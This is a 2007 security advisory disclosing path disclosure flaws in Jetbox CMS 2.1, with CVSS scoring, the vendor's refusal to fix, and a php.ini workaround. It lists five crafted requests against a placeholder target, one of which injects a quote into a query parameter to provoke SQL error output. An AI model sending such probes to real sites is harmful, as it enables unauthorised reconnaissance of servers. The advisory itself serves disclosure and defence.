netVigilance Security Advisory #27

Jetbox CMS version 2.1 Multiple Path Disclosure Vulnerabilities
Description:
Jetbox CMS is seriously tested on usability & has a professional intuitive interface. The system is role based, with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.

External References: 
Mitre CVE: CVE-2007-2684
NVD NIST: CVE-2007-2684
OSVDB: 34783

Summary: 
Jetbox CMS seriously tested on usability & has a professional intuitive interface. 
Security problems in the product allow attackers to gather the true path of the server-side script.
Advisory URL: 
http://www.netvigilance.com/advisory0027 
Release Date:
05/21/2007

Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: Low
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 2.3
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.


SecureScout Testcase ID:
 
Vulnerable Systems:
Jetbox CMS version 2.1

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors.
Vendor: 
Streamedge Consultancy & Development
Vendor Status: 
Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There is no official fix at the release of this Security Advisory
Workaround:
Disable warning messages: modify in the php.ini file following line: display_errors = Off. Use .htaccess directives to deny access to this files (works only for Apache);
Example: 
Path Disclosure Vulnerability 1
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/main_page.php 
REPLY:
...Fatal error:  Call to a member function on a non-object in [SERVER PATH][JETBOX-DIRECTORY]\main_page.php on line 7
...
Path Disclosure Vulnerability 2
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/open_tree.php 
REPLY:
...Fatal error:  Call to a member function on a non-object in [SERVER PATH][JETBOX-DIRECTORY]\open_tree.php on line 12
...
Path Disclosure Vulnerability 3
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/outputs.php 
REPLY:
...Fatal error:  Call to a member function on a non-object in [SERVER PATH][JETBOX-DIRECTORY]\open_tree.php on line 12
...
Path Disclosure Vulnerability 4
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/?view='%20AND 
REPLY:
...q: SELECT * FROM navigation WHERE view_name='' AND'
 Line: 146 
File: [SERVER PATH][JETBOX-DIRECTORY]index.php...
Path Disclosure Vulnerability 5
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY]/admin/cms/opentree.php?task=editrecord&id[]=42 
REPLY:
...Fatal error:  Unsupported operand types in [SERVER PATH][JETBOX-DIRECTORY]\includes\jetstream_core_one.inc.php on line 110
...
Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com 

=09